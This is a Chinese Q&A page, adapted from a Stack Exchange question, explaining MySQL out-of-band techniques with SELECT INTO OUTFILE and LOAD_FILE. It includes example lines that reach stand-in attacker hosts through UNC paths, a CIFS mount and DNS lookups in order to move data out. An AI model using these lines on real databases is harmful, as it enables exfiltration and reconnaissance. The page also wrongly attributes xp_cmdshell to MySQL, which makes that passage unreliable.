You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

SELECT INTO OUTFILE等函数跨系统远程操作及OOB场景技术咨询

MySQL OOB攻击相关问题解答

问题1:SELECT INTO OUTFILE或LOAD_FILE是否允许直接写入Ubuntu和Windows的远程文件系统?

默认情况下,两者都不允许直接写入远程文件系统,核心限制来自MySQL的secure_file_priv参数:

  • 该参数默认会限制SELECT INTO OUTFILE的写入路径为特定目录(部分版本默认值为NULL,完全禁止文件写入操作);LOAD_FILE仅用于读取文件,本身不具备写入远程的能力。
  • 即使secure_file_priv未做严格限制,SELECT INTO OUTFILE的设计目标是写入本地文件系统,原生不支持直接指定远程路径完成写入。

问题2:默认不允许的情况下,Windows可通过UNC路径实现,Ubuntu是否有对应方法?

Windows下的UNC路径(如\\attacker-host\share\file.txt)能生效,本质是依赖Windows系统对SMB共享的原生支持,且MySQL服务运行账号有权限访问该共享,同时secure_file_priv未限制此类路径。
Ubuntu下的对应实现方式:

  • 先将远程共享(SMB/CIFS或NFS)挂载到本地文件系统的某个目录,例如通过mount -t cifs //attacker-host/share /mnt/remote-share挂载SMB共享。
  • 确保secure_file_priv参数允许写入该挂载目录,之后即可通过SELECT INTO OUTFILE '/mnt/remote-share/file.txt' ...完成远程写入。
  • 注意:MySQL进程必须对挂载目录拥有写入权限,否则操作会失败。

问题3:Windows和Ubuntu在DNS及HTTP方面的情况如何?

核心取决于系统级的网络行为触发,而非MySQL原生函数主动发起网络请求:

  • DNS请求:
    • Windows:当使用LOAD_FILE('\\\\attacker-domain\\any')这类UNC路径时,Windows系统会先发起对attacker-domain的DNS解析,以此可实现DNS OOB探测。
    • Ubuntu:使用LOAD_FILE('//attacker-domain/any')(SMB路径格式)或尝试访问挂载的远程共享时,系统同样会触发DNS解析,也能实现DNS OOB。
  • HTTP请求:
    • MySQL的SELECT INTO OUTFILE和LOAD_FILE原生不支持直接发起HTTP请求。若要实现HTTP OOB,需依赖其他扩展功能(如Windows下开启xp_cmdshell执行curl命令,Ubuntu下调用系统命令),但这不属于原生文件函数的能力范围。

内容的提问来源于stack exchange,提问作者Johnny

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.23 15:29:59